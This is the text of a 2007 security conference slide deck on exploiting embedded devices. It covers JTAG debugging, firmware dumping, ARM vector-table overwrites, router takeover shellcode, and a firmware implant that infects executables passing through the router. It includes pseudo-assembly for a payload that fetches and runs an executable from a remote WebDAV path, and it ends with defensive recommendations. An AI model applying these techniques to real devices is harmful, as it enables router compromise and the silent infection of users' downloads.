Exploitation - CanSecWest

46
Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 1 EXPLOITING EMBEDDED SYSTEMS THE SEQUEL! Barnaby Jack

Transcript of Exploitation - CanSecWest

Page 1: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 1

EXPLOITING EMBEDDED SYSTEMS

THE SEQUEL! Barnaby Jack

Page 2: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 2

What Is An Embedded System?

Simple definition - A computer that doesn’t look like a computerAttackable devices are everywhere – exploitation doesn’t end at the home PC.Any network-connected device is a target

Page 3: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 3

Embedded Architectures

MIPS and ARM are common in consumer embedded devices

XScale, PowerPC are often used in higher end equipment

Most cores can be debugged via JTAG

Page 4: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 4

Typical Circuit

JTAG SERIAL

CPUFLASH

RAM

Page 5: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 5

The ARM Architecture

RISC based architectureLoad/store architectureFixed length 32 bit instructionsAuto-decrement and auto-increment addressing modesCan perform shift and ALU operation in same instructionConditional execution on all instructionsAbility to support THUMB mode (16 bit instructions)

Page 6: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 6

The MIPS32 Architecture

RISC architectureLoad/store architecture32 bit instruction length32 general purpose registers5 Stage pipeline (4k family)Support for Enhanced JTAG (EJTAG)

Page 7: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 7

The BDI2000JTAG Support for:

MIPS32/64ARM 7/9/9E/11XSCALEPowerPC

- Ethernet host interface- Supports GDB protocol- Fast and reliable

Page 8: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 8

The JTAG Interface5 pin serial interface embedded on chip

TDI (Test Data In)TDO (Test Data Out)TCK (Test Clock)TMS (Test Mode Select)TRST (Test Reset) - optional

Allows full debugging of the processor core:

Read/write memoryRead/write registersTrace and single stepBreakpoints

Page 9: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 9

The JTAG Interface – ARM/XSCALE

ARM supports both a 14 and 20 pin JTAG headerHeaders may be on-board the circuitIf no header on-board, interface must be custom built

Page 10: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 10

The EJTAG Interface – MIPS32/64

MIPS cores implement the EJTAG standardEJTAG 2.5+ uses a 14 pin header

Page 11: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 11

The Serial Interface

Support for UART on most embedded coresTTL signals need to be converted to RS232 with MAX3232 or similar

The serial interface is used for:Viewing debug messages from the deviceView/change settings on the deviceViewing bootloader messagesDebugging and memory probing

Page 12: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 12

The Serial InterfaceMAX3232 Schematic

Page 13: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 13

Locating the JTAG points

Typical scenarios:

Full JTAG header in placeJTAG points but no headerNo JTAG points (solder directly to chip)

Voltmeter must be used to trace connections.Use pin-out from vendor (if available).

Page 14: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 14

Connecting the BDI2000

Use solder wick to remove JTAG solder pointsSolder in 14 or 20 PIN IDC headerIf no header in place – make external interface (follow schematics)Read vendor pin-out for recommended schematicReplace resistors if removedSome Linksys MIPS routers have a 12 pin header, same as MIPS 14 pin but missing the VCC line

Page 15: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 15

Connecting the BDI2000

Page 16: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 16

Watchdog Timers

Sets a counter, timer must be kicked before counter runs outMay be hardware or software basedSends a reset signal when counter reaches 0Watchdog timer must be disabled before debugging

Page 17: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 17

Defeating the Watchdog

Software based timers – write to watchdog register or byte patch firmware to disable check (trap vector 0 to find)Hardware based timers – lift pin to prevent reset signal being sentSometimes watchdog can be disabled via serial interface

With the watchdog disabled you can debug freely

Page 18: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 18

Finding Hardware Targets

FCC ID search (http://www.fcc.gov/oet/ea/)Includes photos of circuit internalsHelpful for determining processorDetermine JTAG portsGood targets? Anything Internet connected!

Page 19: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 19

Debugging and Reversing

Flash onboard firmware of BDI2000 for target CPUSet up BDI configuration file:

[TARGET]

CPUTYPE ARM946E

CLOCK 1 ;JTAG clock (0=Adaptive, 1=8MHz, 2=4MHz, 3=2MHz)

ENDIAN LITTLE

;memory model (LITTLE | BIG)

VECTOR CATCH 0x1f ;catch unhandled exceptions

BREAKMODE SOFT 0xDFFFDFFF ;SOFT or HARD, ARM / Thumb break code

STARTUP

RUN

RESET NONE

Page 20: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 20

Debugging and ReversingRetrieving the firmware image:

Read flash chip via JTAGDownload online firmwareRead chip externally – SMD rework, chipqwik

Image is usually packed/encrypted:

Dump memory image after decryptionSimilar technique to packed x86 exe filesDecrypted dump can then be loaded in IDA

Page 21: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 21

Debugging and ReversingDecrypted image can be dumped via the BDI interfaceStart tftp server on host to receive decrypted image“DUMP <ADDR> <SIZE> <FILE>”Image can then be disassembled in IDA

Dumping decrypted image - demonstration

Page 22: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 22

Debugging and Reversing

BDI2000 speaks GDB protocolAny supported processor core can be debugged over remote gdbgdb must be compiled for specific processorOther embedded debuggers are mostly… bad

Debugging ROM code - demonstration

Page 23: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 23

New Attack ClassesExploitable NULL pointer vulnerabilitiesThis common wrapper returns a NULL pointer if passed 0But what if 0x0 is mapped in memory??

void *

xmalloc(size_t

amt)

{

if (amt != 0) {

void *block = malloc(amt);

if (block == NULL) {

fprintf(stderr, "out of memory\n");

exit(EXIT_FAILURE);

}

return block;

}

return NULL;

}

Page 24: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 24

New Attack Classes

What is located at address 0 on ARM platforms?

Page 25: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 25

New Attack Classes – Vector Rewrite Attack

Exception vectors on ARM architectures are (by default) mapped starting at address 0Exception vectors are writableException vectors are simply branch instructions

Overwrite vector branch instructions?

Remote Code execution

Page 26: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 26

New Attack Classes

The NULL overwrite is 100% reliableNo offsets neededVector table can be copied and replacedSimply overwrite with branch to codeIncreases attack opportunities two-fold

Page 27: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 27

New Attack Classes - Prevention

Protect vectors from writing via MMURemap vectors to high addressesARM9 processors – drive HIVECS processor pin HIGHXSCALE – Set bit 13 of the ARM control register to 1Vectors will be mapped at 0xffff0000

Page 28: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 28

Locating Vulnerabilities

Router attack points:

Wireless – use lorcon library for injecting packetsExternal interface (IDS, tcp stack) LAN side (UPNP, web server, etc)Vulnerabilities that are near-dead in the PC realm, are abundantCheck malloc returns! ☺

Party like it’s 1999!

Page 29: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 29

System-On-Chip Designs

Many chipset companies offer SoC designs with code integrated on-chipThe API functions on-chip may then be called by the developerWireless SoC designs are very popularSoC’s are used on most home routers

A flaw in the wireless code would affect many devices!

…and patching would be interesting!

Page 30: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 30

Exploitation

Embedded stack overflows are reliable – few firmware revisionsOverwrite $pc, redirect to attacker code -- standard fare!

Can be very reliable on ARM as $pc can be operated on directlyExamples: redirect $pc to:

ARM:mov $pc, <register>

MIPS:j <register>

Page 31: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 31

Exploitation (ARM)

The ARM processor supports THUMB modeVery helpful for writing shellcodeARM mode instructions are 32 bit, word alignedTHUMB mode instructions are 16 bit, half-word alignedResults in very small code, and is easy to avoid NULL bytesSwitch to THUMB mode by executing the BX instruction with state bit cleared

Page 32: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 32

ARM Instructions

Page 33: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 33

ExploitationTwo Step Exploitation

1 – Send REMOTE exploitShellcode: clear administrator password, configure router for remote access, save to flash memory.

2 – Via remote access - Upload modified firmware to routerMonitor packets, inject hostile code.

Page 34: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 34

Exploitation (ARM)Initial exploit – REMOTE attack shellcode

BX to THUMB modeOverwrite buffer that stores administrator password with NULL bytesSet flag that enables WAN access to routerWrite to flash memoryPatch save_settings routine to soft reset at end of call (mov PC, #0)Return to ARM modeCall save_settings

Page 35: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 35

Exploitation (ARM)

Set remote config flag – WAN HTTP access enabled

Page 36: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 36

Exploitation (ARM)

Admin pw stored at 0x27c950 – overwrite with 0’s

Page 37: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 37

Exploitation

Successful exploit will allow remote admin access to router with no passwordRemote firmware upgrade can now be performed on routerUpgrade firmware… with a few modifications ☺

Page 38: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 38

Firmware ModificationsFirst Option:

To apply modified firmware, manual en/decrypter must be written.Checksum field must also be calculatedEasy to find by live debugging “upload firmware” code.Breakpoint the checksum comparison

Second Option:Bootloader code may be overwritten to patch code after decryptionOnly checksum field will need to be updatedNo need to reverse encryption code

Page 39: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 39

Firmware PatchConsiderations:

Need access to all incoming packetsNeed a pointer to IP header

Solution:Use the routers defenses against itInsert firmware patch where IP header is checked for malformed dataOverwrite with branch instruction to new codeInsert custom code into firmware slack space

Page 40: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 40

Injector 2.0

Monitors HTTP downloadsInjects and modifies PE header of executable downloadExecutes original executable and appended executableOnly one packet required to infect executableInjector will run on any ARM based router

Page 41: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 41

Injector 2.0

Watch for downloads over port 80Check for executable download (check for MZ header)Is executable a PE file?Inject payload into DOS stubRedirect PE entry-point to DOS stubChange BaseOfCode in PE header so no DEP warningsRe-checksum TCP packet

Page 42: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 42

Injector 2.0 - Payload

100 byte payload injected into DOS stub areaPayload downloads and executes an executableCode returns to the original caller after executing

;psuedo

code of payload

pushadcall get_kernel_basepush ‘WinExec’call get_proc_addrpush ‘UNC path of executable’

;path can be remote webdav

servercall WinExecpopadpush 0xdeadbeefOEP equ

$-4 ;overwritten with original entry-pointret

;return to host executable

Page 43: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 43

Exploit Demonstration

DEMO!

Page 44: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 44

Prevention

Remove JTAG traces on production devicesRemove UART traces on production devicesNo debugging functionality needs to remain!Removing resistors isn’t sufficientDisabling JTAG by driving TRST low isn’t sufficient

MAP VECTORS HIGH!!!!

Page 45: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 45

Summary

Security flaws are abundant on embedded devices!

Security needs to reach further than the home PC

Insecure devices pose a threat to the entire network

Hardware vendors must take security into consideration

Questions?

Page 46: Exploitation - CanSecWest

Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 46Copyright © 2007 Juniper Networks, Inc. Proprietary and Confidential www.juniper.net 46